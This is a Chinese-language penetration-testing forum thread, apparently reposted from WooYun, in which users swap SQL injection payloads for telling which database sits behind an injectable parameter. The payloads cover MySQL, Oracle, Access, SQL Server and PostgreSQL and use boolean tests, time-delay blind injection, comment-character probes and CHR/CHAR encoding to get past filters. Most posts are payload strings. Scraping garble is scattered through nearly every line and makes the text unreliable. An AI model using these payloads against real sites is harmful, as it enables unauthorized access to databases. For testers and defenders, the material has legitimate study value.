中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
# \. F0 x8 i( o" fxsser (十根阳具有长短!!) | 2013-02-05 12:36& |% _; ~% W9 E$ z
假设这么一个注射点:
( @" v$ d- G4 i# {show.html?id=29 w% Q4 N$ T$ X  a0 l
mysql:id=2 and version()>06 z- i  }  a% P# U* o7 Q
oracle:id=2 and '1'||'1'='11
8 Z" E* k9 ]# g  ^! B- h& g" {3 _其他的欢迎补充) F+ C! F; Z3 f5 {9 J' {5 X
1#
9 W# P0 z. I7 Y& d  V& M8 o) Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:473 V, @  T  G* X0 O4 ^- G
Access:" m  l( g) I' R
aNd aSc(cHr(97))=97
- e" g1 O  c" {! ~# Z7 @/ oand exists(select id from MSysAccessObjects)+ c2 i7 W( T1 o! I" ]
SQL Server:. G; E7 f' r" Q: A9 A) A
and exists(select id from sysobjects)
3 X/ B* \9 }+ a# m: fand length(user)>0
( N: R+ A! D7 i0 S" y! c% u% YMySQL:5 i$ \" }4 E& c  p/ s& f7 R
and length(user())>0; [" D" z& N  f. Q) I
2#; t0 e" k1 x8 y: ~
xsser (十根阳具有长短!!) | 2013-02-05 12:48* g- H! }2 g  }, S% @6 \: m* L9 l+ Z
@upload 如果这些都不是呢…
' t- [6 W/ k  z3#
/ u$ S  y# V# Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03. C1 L8 S+ f0 Z
@xsser 不快速的,延时注入
6 ?6 N) p! H0 G6 ~不知道这样写对不对
8 n! s6 \& g5 H/ v5 ~7 w/ rmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
0 _* H8 T3 Q: x" R1 ~$ e# N- Umysql:id=2 and select benchmark(1e8,current_date());
/ g+ D: N, q/ s* r4#, i# c2 \6 ?& e+ A3 e7 @; T) `5 {
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
/ c" j( [7 p8 b, Y* N; r最快的貌似是看报错信息
! q* \* w+ z! Voracle error
3 w/ h+ {/ A5 x4 |( d. ]0 J0 q! b, ~mssql error+ E: }  ~3 ?+ G  }  p
mysql error5 a- U# L0 o0 m5 a
5#. I4 U0 ?7 {, N0 \6 {
Nimda (你们都是坏银~) | 2013-02-05 13:14& o. q" L& v  |% A; e9 w
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)% c; ]1 a& A+ U
6#2 k, t2 J' t0 ~' i7 ?9 Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' d3 W. O( q4 P. S“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
% C  K3 N+ c% Y1 f  h5 r“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# K3 }3 m; R! U; K7 T- i/ N) T  p* [“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! ?, f. L- w* I2 B, K' m; u7#; g: S7 u% F) O1 h
_Evil (HackEnd) | 2013-02-05 13:337 u/ A1 O$ h2 R8 V: {
PostgreSQL9 A1 v8 c2 N" e& O
8#2 W: L$ c* m  B9 _) q1 T$ Z/ k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:426 ?0 u% c$ v* G7 ?0 D/ j
切换编码 and 1=11 N6 n* z1 ^7 y: F; P
oracle:7 D$ X5 I6 c3 J* C4 |
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
+ H* w0 d  S% Fmssql:
, s" H6 a  @9 q0 w5 VCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
% n4 n, J, N, ]4 u& s* U/ v2 e( Ymysql:
/ v+ u' H2 ^7 V3 @+ _CHAR(97, 110, 100, 32, 49, 61, 49)
* |# T. Q& `$ b2 ~9#
5 `1 Y* H. w1 p, F2 u6 ~xsser (十根阳具有长短!!) | 2013-02-05 14:319 N8 {7 ?9 Y. S. P
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
! b1 h; W$ O% U9 Z10#
$ c1 h  b* _7 P) `( Kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46& v  g, ~8 {* s" j; K' T( F
@xsser 是奇葩数据库类型的么?
+ a" J5 T- P( Q9 L: ]1 P根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:% m( H/ n6 B' B* u6 ?3 S' b$ I4 @
1.是否可以使用特定的函数来判断,该数据库特有的
  S7 z; x, P, i2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等" X. A  E) m! M! `0 g. V9 \% E
3.是否可以编码查询
/ y6 p  ^7 r& j( p  X# T1 `4.是否显可以利用错信息
, D3 j( [  e: _% R! [3 h5.是否存在数据库某些特性辅助判断4 ^, I  a' a. ^5 x
个人见解
. r- O) C/ L# @% c3 }11#9 O1 G1 u( D9 y3 l
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55) ^: x( y( a; g* k" n2 t; n
已收藏,mssql可以直接看到错误提示的吧~
3 y! x# u3 b* d& C/ w: v  v12#
3 }8 N; ~& V" _& qPasser_by | 2013-02-05 15:09# V! f+ M1 L$ F
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
. {" T% k( P6 }! r+ ?' Yfrom:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2